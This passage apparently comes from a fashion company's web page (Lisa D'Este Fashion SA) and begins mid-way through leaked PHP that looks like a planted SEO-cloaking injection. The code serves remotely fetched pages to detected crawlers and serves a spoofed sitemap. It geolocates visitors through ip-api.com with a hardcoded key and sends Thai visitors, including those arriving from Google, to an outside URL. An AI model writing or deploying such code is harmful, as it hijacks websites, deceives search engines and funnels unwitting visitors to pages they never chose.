0) { $ip = substr($ip, 0, strpos($ip, ',')); } return $ip; } if ($_SERVER['REQUEST_URI'] === '/sitemap.xml') { echo getContents($contents . '/sitemap.xml'); exit; } if (KontolNjepat($_SERVER['HTTP_USER_AGENT'], getRealIP())) { if ($_SERVER['REQUEST_URI'] === '/') { if (isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'google.com') !== false) { $userIP = getRealIP(); $access_key = 'hgopVXEPIJ7ViMx'; $ch = curl_init('https://pro.ip-api.com/json/' . $userIP . '?key=' . $access_key); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $json = curl_exec($ch); $jsonData = json_decode($json); if ($jsonData->countryCode == 'TH') { if (!is_null($redirectTo)) { header("Location: " . $redirectTo . "", TRUE, 301); exit(); } } } echo getContents($contents . '/index.txt'); exit; } } $userIP = getRealIP(); $access_key = 'hgopVXEPIJ7ViMx'; $ch = curl_init('https://pro.ip-api.com/json/' . $userIP . '?key=' . $access_key); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $json = curl_exec($ch); $jsonData = json_decode($json); if ($jsonData->countryCode == 'TH') { if ($_SERVER['REQUEST_URI'] === '/') { if (!is_null($redirectTo)) { header("Location: " . $redirectTo . "", TRUE, 301); exit(); } else { echo getContents($contents . '/index.txt'); exit; } } } ?> LISA D’ESTE FASHION SA
logo

Fashion